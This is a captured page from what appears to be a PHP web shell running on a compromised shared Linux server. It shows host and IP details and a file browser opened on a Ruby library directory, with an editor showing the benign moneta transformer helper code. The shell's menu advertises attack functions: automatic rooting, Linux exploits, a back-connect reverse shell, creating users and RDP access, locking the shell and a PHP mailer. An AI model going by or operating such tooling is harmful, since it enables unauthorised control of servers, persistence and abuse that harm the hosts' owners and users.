Linux iad1-shared-b7-18 6.6.49-grsec-jammy+ #10 SMP Thu Sep 12 23:23:08 UTC 2024 x86_64
Apache
: 67.205.6.31 | : 216.73.216.47
Cant Read [ /etc/named.conf ]
8.2.29
fernandoquevedo
Terminal
AUTO ROOT
Adminer
Backdoor Destroyer
Linux Exploit
Lock Shell
Lock File
Create User
CREATE RDP
PHP Mailer
BACKCONNECT
UNLOCK SHELL
HASH IDENTIFIER
README
+ Create Folder
+ Create File
/
usr /
lib /
ruby /
vendor_ruby /
moneta /
transformer /
[ HOME SHELL ]
Name
Size
Permission
Action
helper
[ DIR ]
drwxr-xr-x
config.rb
4.78
KB
-rw-r--r--
helper.rb
1.25
KB
-rw-r--r--
Delete
Unzip
Zip
${this.title}
Close
Code Editor : helper.rb
module Moneta class Transformer # @api private module Helper extend self def escape(value) value.gsub(/[^a-zA-Z0-9_-]+/){ '%' + $&.unpack('H2' * $&.bytesize).join('%').upcase } end def unescape(value) value.gsub(/((?:%[0-9a-fA-F]{2})+)/){ [$1.delete('%')].pack('H*') } end def hmacverify(value, secret) hash, value = value[0..31], value[32..-1] value if hash == OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, value) end def hmacsign(value, secret) OpenSSL::HMAC.digest(OpenSSL::Digest.new('sha256'), secret, value) << value end def truncate(value, maxlen) if value.size >= maxlen digest = Digest::MD5.hexdigest(value) value = value[0, maxlen-digest.size] << digest end value end def spread(value) ::File.join(value[0..1], value[2..-1]) end def bzip2(value) io = ::StringIO.new bz = ::RBzip2::Compressor.new(io) bz.write(value) bz.close io.string end def bunzip2(value) ::RBzip2::Decompressor.new(::StringIO.new(value)).read end autoload :BSON, 'moneta/transformer/helper/bson' end end end
Close